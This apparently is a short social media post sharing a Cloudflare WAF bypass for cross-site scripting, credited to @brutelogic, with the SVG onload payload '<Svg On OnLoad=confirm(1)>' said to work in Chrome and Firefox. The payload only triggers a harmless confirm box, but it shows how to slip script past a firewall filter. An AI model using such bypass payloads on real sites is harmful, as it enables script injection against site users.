Cloudflare #waf #xss #bypass by @brutelogic
work on Chrome and Firefox.

It seems <Svg On OnLoad=confirm(1)> work too https://t.co/1aMZT55cke